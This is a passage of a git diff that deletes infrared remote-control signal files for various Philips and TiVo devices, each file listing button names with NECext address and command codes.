00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 09 00 00 00 -# -name: 10+ -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 0A 00 00 00 -# -name: PROG+ -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 20 00 00 00 -# -name: PROG- -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 21 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 30 00 00 00 -# -name: REWIND -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 32 00 00 00 -# -name: FORWARD -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 34 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 35 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 36 00 00 00 -# -name: RECORD -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 37 00 00 00 -# -name: SCART -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 38 00 00 00 -# -name: PP -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 3A 00 00 00 -# -name: UP -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 50 00 00 00 -# -name: DOWN -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 51 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 52 00 00 00 -# -name: LEFT -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 55 00 00 00 -# -name: RIGHT -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 56 00 00 00 -# -name: OK -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 57 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_SF172/39,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_SF172/39,-1.ir deleted file mode 100644 index c6b9956d5..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_SF172/39,-1.ir +++ /dev/null @@ -1,218 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 27 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 27 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 27 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 27 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 27 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 27 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 27 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 27 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 27 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 27 00 00 00 -command: 09 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: 27 00 00 00 -command: 0A 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 27 00 00 00 -command: 0C 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 27 00 00 00 -command: 0D 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 27 00 00 00 -command: 10 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 27 00 00 00 -command: 11 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 27 00 00 00 -command: 20 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 27 00 00 00 -command: 21 00 00 00 -# -name: KEY_TEXT -type: parsed -protocol: NECext -address: 27 00 00 00 -command: 3C 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 27 00 00 00 -command: 4B 00 00 00 -# -name: KEY_I -type: parsed -protocol: NECext -address: 27 00 00 00 -command: 4E 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 27 00 00 00 -command: 54 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 27 00 00 00 -command: 55 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 27 00 00 00 -command: 58 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 27 00 00 00 -command: 59 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 27 00 00 00 -command: 5A 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 27 00 00 00 -command: 5B 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 27 00 00 00 -command: 5C 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 27 00 00 00 -command: 6D 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 27 00 00 00 -command: 6E 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 27 00 00 00 -command: 6F 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 27 00 00 00 -command: 70 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 27 00 00 00 -command: 75 00 00 00 -# -name: KEY_FAVORITES -type: parsed -protocol: NECext -address: 27 00 00 00 -command: 84 00 00 00 -# -name: KEY_RADIO -type: parsed -protocol: NECext -address: 27 00 00 00 -command: B0 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 27 00 00 00 -command: CB 00 00 00 -# -name: KEY_EPG -type: parsed -protocol: NECext -address: 27 00 00 00 -command: CC 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_SRM5100/4,15.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_SRM5100/4,15.ir deleted file mode 100644 index cc0d752f0..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_SRM5100/4,15.ir +++ /dev/null @@ -1,272 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 09 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 0A 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 0B 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 0C 00 00 00 -# -name: mce -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 0D 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 0E 00 00 00 -# -name: KEY_I -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 0F 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 10 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 11 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 12 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 13 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 14 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 15 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 16 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 17 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 18 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 19 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 1A 00 00 00 -# -name: prev_track -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 1B 00 00 00 -# -name: KEY_NUMERIC_POUND -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 1C 00 00 00 -# -name: KEY_NUMERIC_STAR -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 1D 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 1E 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 1F 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 20 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 21 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 22 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 23 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 24 00 00 00 -# -name: tv_play -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 25 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 26 00 00 00 -# -name: tv_rec -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 48 00 00 00 -# -name: KEY_T -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 5A 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 5B 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 5C 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 5D 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 5E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_SRU/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_SRU/0,-1.ir deleted file mode 100644 index 20398a9cf..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_SRU/0,-1.ir +++ /dev/null @@ -1,272 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0F 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: Surround -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 14 00 00 00 -# -name: ShiftMute -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 15 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 20 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 21 00 00 00 -# -name: PP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 22 00 00 00 -# -name: KEY_FAVORITES -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 23 00 00 00 -# -name: Timer -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 24 00 00 00 -# -name: TextHalt -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 29 00 00 00 -# -name: a1829 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 29 00 00 00 -# -name: TextOff -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2B 00 00 00 -# -name: TextOff -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2B 00 00 00 -# -name: Disc -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2E 00 00 00 -# -name: A/V -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 38 00 00 00 -# -name: KEY_VIDEO -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3C 00 00 00 -# -name: KEY_VIDEO -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3C 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 41 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 50 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 51 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 52 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 55 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 56 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 57 00 00 00 -# -name: Install -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 58 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 6B 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 6C 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 6D 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 6E 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 6F 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 78 00 00 00 -# -name: Breitbild -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 7E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_STEREO/164,164.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_STEREO/164,164.ir deleted file mode 100644 index dd41b2959..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_STEREO/164,164.ir +++ /dev/null @@ -1,38 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: unknown4 -type: parsed -protocol: NECext -address: A4 A4 00 00 -command: 0C 00 00 00 -# -name: unknown1 -type: parsed -protocol: NECext -address: A4 A4 00 00 -command: 16 00 00 00 -# -name: unknown6 -type: parsed -protocol: NECext -address: A4 A4 00 00 -command: 17 00 00 00 -# -name: unknown5 -type: parsed -protocol: NECext -address: A4 A4 00 00 -command: 1B 00 00 00 -# -name: unknown2 -type: parsed -protocol: NECext -address: A4 A4 00 00 -command: 20 00 00 00 -# -name: unknown3 -type: parsed -protocol: NECext -address: A4 A4 00 00 -command: 60 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_TIVO/133,48.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_TIVO/133,48.ir deleted file mode 100644 index dd92007b9..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_TIVO/133,48.ir +++ /dev/null @@ -1,188 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: TIVO -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 00 00 00 00 -# -name: KEY_TV -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 11 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 14 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 15 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 16 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 17 00 00 00 -# -name: THUMBSDOWN -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 18 00 00 00 -# -name: KEY_SELECT -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 19 00 00 00 -# -name: THUMBSUP -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 1A 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 1E 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 1F 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 20 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 21 00 00 00 -# -name: REV -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 22 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 23 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 24 00 00 00 -# -name: KEY_SLOW -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 25 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 26 00 00 00 -# -name: JUMPTOEND -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 27 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 28 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 29 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 2A 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 2B 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 2C 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 2D 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 2E 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 2F 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 30 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 31 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 32 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 33 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_TIVO34/133,48.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_TIVO34/133,48.ir deleted file mode 100644 index 749e79a07..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_TIVO34/133,48.ir +++ /dev/null @@ -1,236 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: TIVO -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 07 00 00 00 -# -name: TVPOWER -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 10 00 00 00 -# -name: KEY_TV -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 11 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 13 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 14 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 15 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 16 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 17 00 00 00 -# -name: THUMBSDOWN -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 18 00 00 00 -# -name: KEY_SELECT -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 19 00 00 00 -# -name: THUMBSUP -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 1A 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 1B 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 1C 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 1D 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 1E 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 1F 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 20 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 21 00 00 00 -# -name: REV -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 22 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 23 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 24 00 00 00 -# -name: KEY_SLOW -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 25 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 26 00 00 00 -# -name: JUMPTOEND -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 27 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 28 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 29 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 2A 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 2B 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 2C 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 2D 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 2E 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 2F 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 30 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 31 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 32 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 33 00 00 00 -# -name: TVINPUT -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 34 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 36 00 00 00 -# -name: WINDOW -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 44 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_TV/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_TV/0,-1.ir deleted file mode 100644 index 0acc70d1e..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_TV/0,-1.ir +++ /dev/null @@ -1,164 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: KEY_102ND -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: RESET -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0E 00 00 00 -# -name: CONT_- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0E 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: BRT_+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 12 00 00 00 -# -name: BRT_- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 13 00 00 00 -# -name: CONT_+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 14 00 00 00 -# -name: unknown1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 32 00 00 00 -# -name: unknown2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 34 00 00 00 -# -name: unknown4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 35 00 00 00 -# -name: unknown3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 36 00 00 00 -# -name: TIMER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 37 00 00 00 -# -name: A/V -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 38 00 00 00 -# -name: TEXT_TV -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3C 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_VCR/5,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_VCR/5,-1.ir deleted file mode 100644 index 83acefc05..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_VCR/5,-1.ir +++ /dev/null @@ -1,170 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 05 00 00 00 